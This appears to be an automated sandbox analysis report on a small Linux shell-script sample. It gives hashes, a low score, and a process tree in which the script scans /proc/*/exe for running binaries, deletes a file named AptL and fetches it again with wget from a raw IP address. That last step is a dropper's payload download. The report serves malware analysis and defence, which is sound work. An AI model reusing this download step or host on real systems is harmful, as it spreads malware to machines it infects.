b18cf21b9e159b07778aad026f369c39bc24c4b221b9c9383497942cecbdc6d2

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/06/2026, 00:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_b18cf21b9e159b07778aad026f369c39bc24c4b221b9c9383497942cecbdc6d2.sh
Size 852B
Sample260627-back3sgy7k
SHA256 b18cf21b9e159b07778aad026f369c39bc24c4b221b9c9383497942cecbdc6d2
MD5 71277d67e9a936e997a57827a57080df
SHA1 b421f1919a9453b848d1e1eda8b53880f165d50f
SHA512 40039e29e6a004f2ced616c8f5a8fbc67e5f5b24ffe6f9e34a7d99615b2812ffad2d9b8496918875113537d3d142c1097c4d2be37412b53a4566688b8b18642c
TLSH
T16401ABCAC460A800419ADA5C36A76154F420C3CF164A8F76BFAC6D2EEB84D04B026FA4
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/_b18cf21b9e159b07778aad026f369c39bc24c4b221b9c9383497942cecbdc6d2.sh
/tmp/_b18cf21b9e159b07778aad026f369c39bc24c4b221b9c9383497942cecbdc6d2.sh
1⤵
PID:645
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:649
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:655
- /bin/ls
  ls -l /proc/100/exe
  2⤵
  - Reads runtime system information
  PID:660
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:664
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:669
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/111/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/226/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/280/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/301/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/307/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/336/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/567/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/580/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/rm
  rm -rf AptL
  2⤵
  PID:770
- /usr/bin/wget
  wget http://129.121.114.124/AptL
  2⤵
  PID:771

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads